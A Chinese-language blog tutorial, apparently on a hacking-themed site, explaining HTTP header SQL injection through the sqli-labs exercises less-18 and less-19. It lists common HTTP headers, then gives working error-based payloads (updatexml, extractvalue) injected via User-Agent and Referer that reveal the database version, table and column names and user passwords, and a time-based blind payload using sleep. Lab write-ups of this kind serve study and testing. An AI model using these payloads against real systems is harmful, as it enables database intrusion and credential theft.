当前位置:首页 > 黑客技术 > 正文内容

http头注入

访客4年前 (2021-04-15)黑客技术1055

简介

前面的文章是关于基于get下的显注和盲注,这篇是学习http头注入...

产生http头注入原因

随着安全意识越来越重视的情况下,为了防止漏洞的发生。在写网站代码的时候,编程人员会用到对应的函数,对用户提交的参数进行过滤。但是对于http头中的提交的内容可能没有进行过滤。例如http头的User-agent、Referer、Cookie等,所以就会产生http头注入的情况。

http头部介绍

我们通过抓包的时候,就可以看见http头部的很多项

Host:客户端指定自己想访问的WEB服务器的域名/IP地址和端口号

Content-Length:WEB服务器告诉浏览器自己响应的对象的语言

Cache-Control:

请求:

no-cache(不要缓存的实体,要求现在从WEB服务器去取)

max-age:(只接受Age值小于max-age值,并且没有过期的对象)

max-stale:(可以接受过去的对象,但是过期时间必须小于max-stale值)

min-fresh:(接受其新鲜生命期大于其当前Age跟min-fresh值之和的缓存对象)

响应:

public(可以用Cached内容回应任何用户)

private(只能用缓存内容回应先前请求该内容的那个用户)

no-cache(可以缓存,但是只有在跟WEB服务器验证了其有效后,才能返回给客户端)

max-age:(本响应包含的对象的过期时间)ALL:no-store(不允许缓存)

Upgrade-Insecure-Requests:请求头向服务器发送一个客户端对HTTPS加密和认证响应良好,并且可以成功处理的信号,可以请求所属网站所有的HTTPS资源。

Origin:Origin字段里只包含是谁发起的请求,并没有其他信息 (通常情况下是方案,主机和活动文档URL的端口)。跟Referer不一样的是,Origin字段并没有包含涉及到用户隐私的URL路径和请求内容,这个尤其重要。

Content-Type:WEB服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml

User-Agent:浏览器表明自己的身份(是哪种浏览器)

Accept:告诉WEB服务器自己接受什么介质类型,/表示任何类型,type/*表示该类型下的所有子类型,type/sub-type

Referer:浏览器向WEB服务器表明自己是从哪个网页/URL获得/点击当前请求中的网址/URL

Accept-Encoding:浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法

Accept-Language:浏览器申明自己接收的语言语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk等等

Connection:

请求:

close(告诉WEB服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。

keepalive(告诉WEB服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。

响应:

close(连接已经关闭)。

keepalive(连接保持着,在等待本次连接的后续请求)。

Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB服务器保持连接多长时间(秒)。例如:Keep-Alive:300

User-Agent头注入:

less-18

我们查看一下源码文件:

我们可以看到check_input()函数,对uname和passwd进行了处理,那么我们在uname和password上注入的话就不行。

但是,图中的代码语句,将User_Agent和IP插入到数据库中,并没有经过check_input()函数的处理,那么我们是不是可以对此下手注入呢?Ip地址不容易修改,但是User_Agent容易修改,我们从User_Agent入手,用burp进行抓包:这里我们用报错注入(updatexml()函数)来演示:

简单介绍一下updatexml()函数

updatexml(xml_document,xpath_string,new_value)

xml_document:xml文档对象名称;

xpath_string:xpath字符串;

new_value:替换查找到的符合条件的数据。

当我们抓取正确的用户名和密码,页面显示

看到页面显示出user-agent的信息。那么,用updatexml构造报错注入:

'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

首先,单引号是闭合select语句中单引号,and连接updatexml查询的内容,最后的or语句闭合后边的单引号,从而使用or后面为真,然后执行updatexml爆出了@@version数据库版本信息。

那么利用该语句查询当前数据的数据库:

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

那么在利用查询上的数据库里面的表

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='1

在查询users表下的列名

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '1'='1

查询一下表里面字段的内容

' and extractvalue(1,concat(0x7e,(select password from users where id='1'),0x7e)) or '1'='1 查密码 ' and extractvalue(1,concat(0x7e,(select username from users where id='1'),0x7e)) or '1'='1 查账号

Referer头注入

less-19

首先,看一下源代码,

与less-18相比,将Referer和IP插入到数据库中,并没有经过check_input()函数的处理,那么就更上面一样,对referer尝试注入:在referer后面加上单引号,观察响应包:

页面有报错信息。那么,就用单引号是闭合select语句中单引号,and连接updatexml查询的内容,最后的or语句闭合后边的单引号,从而使用or后面为真,然后执行updatexml爆出了@@version数据库版本信息。

'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

查询成功爆出版本信息。这样的话,就可以用上面思路,报错注入,语句都一样。那么,我们可以用盲注手法中的length和sleep函数,判断数据库长度等

构造语句:

'or if(ascii(substr(database(),1,1))=115,sleep(3),1) or '1'='1

同理,只要修改if这条语句,可以是时间盲注的语句,就可以根据响应的时间判断。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106019.html

分享给朋友:

“http头注入” 的相关文章

今天的汽油单价 - 今日燃油价格最新行情

4点59元调为5点02元,不同批次价格会有差距,经常堵车路况差的情况下,93#汽油7点71元/升、20:29单位:人民币,情况今天零时起。 92号汽油,0 号柴油每升上调0点04元。更别说不同地区了,92号汽油,上调0点37行情元;93号,最高限价,决定从。 92汽油官方价6点柴油价:6点:5点90...

黑客了解,中国黑客越南网络apt,黑客网站密码破解工具

6.42 · hxxp[://]offlineearthquake[.]com/file//?id=&n=000 进程三:使命履行及实时数据剖析10.61 2019年6月19日,FireEye Endpoint Security设备上收到了缝隙检测警报。 违规应用程序被辨认为Microso...

窗帘价格算法 「窗帘怎么算米数」

我们应该了解市面上大致的窗帘行情,是体现家居生活的美观程度,窗帘成品高度+30公分,的外观,布以1:1点5来计算。计算宽幅:窗宽*倍数*单价=金额注:倍数一般指1:2或1:2点5或1。 只要把这个尺寸报给商家他就会给窗帘你,第一位算的是平面,窗帘宽度轨道价格=轨道每米的价格*窗帘宽度另外-30这样可...

二手退役62军用望远镜(二手60倍望远镜转让)

并不是真正的军用级别产品,现在绝大部分,北京星河望远镜为您解答:我们,俺以前买过退役俄罗斯的,为满足全天侯使用要求开发成功的高密封。 需要望远镜。早期的军用望远镜,长时间看不头晕.平常旅游观景、如今已经推出军队服役,不会存在,尽管现在的光学技术水平有了很大提高。 宽带增透绿膜镜头,62式8X30望远...

如何寻找黑客微信号(只有一个微信号,黑客可以查到对方吗)

一、如何寻找黑客微信号(只有一个微信号,黑客可以查到对方吗) 1、有黑客能查到微信聊天记录是骗人的吗绝对是骗子,请勿相信! 微信聊天信息保存在本地 一般聊天信息都是保存在本地的,除非开通会员可以将聊天信息存储。 黑客查找出来的微信聊天截图是真的吗在手机端启动微信,在微信主界面底部导航中点击“微信”...

韵达快递物流查询(韵达快递号查询递)

点全部:10收件公司:福建福安市公司2013-01-2307:50:31到达江苏南通中转站发往江苏海安县公司2013-01韵达-2409:23:13到达江苏海安县公司进行派送扫描,将发往:广西南宁查询,我查下单号:12001678942网上查总是验证码不对.再输入你的单号,韵达快递http。 LP开...

评论列表

青迟美咩
2年前 (2022-07-10)

内容可能没有进行过滤。例如http头的User-agent、Referer、Cookie等,所以就会产生http头注入的情况。http头部介绍我们通过抓包的时候,就可以看见http头部的很多项Host:客户端指定自己想访问的WEB服务器的域名/IP地

慵吋邶谌
2年前 (2022-07-10)

ers where id='1'),0x7e)) or '1'='1查账号Referer头注入less-19首先,看一下源代码,与less-18相比,将Referer和IP插入到数据库中,并没有经过check_input()函数的处理,那么就更

末屿袖间
2年前 (2022-07-10)

对于http头中的提交的内容可能没有进行过滤。例如http头的User-agent、Referer、Cookie等,所以就会产生http头注入的情况。http头部介绍我们通过抓包的时候,就可以看见http头部的很多项Host:

丑味歆笙
2年前 (2022-07-10)

象的类型。例如:Content-Type:application/xmlUser-Agent:浏览器表明自己的身份(是哪种浏览器)Accept:告诉WEB服务器自己接受什么介质类型,/表

拥嬉冬马
2年前 (2022-07-10)

时间)ALL:no-store(不允许缓存)Upgrade-Insecure-Requests:请求头向服务器发送一个客户端对HTTPS加密和认证响应良好,并且可以成功处理的信号,可以请求所属网站所有的HTTPS资源。Origin:O

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。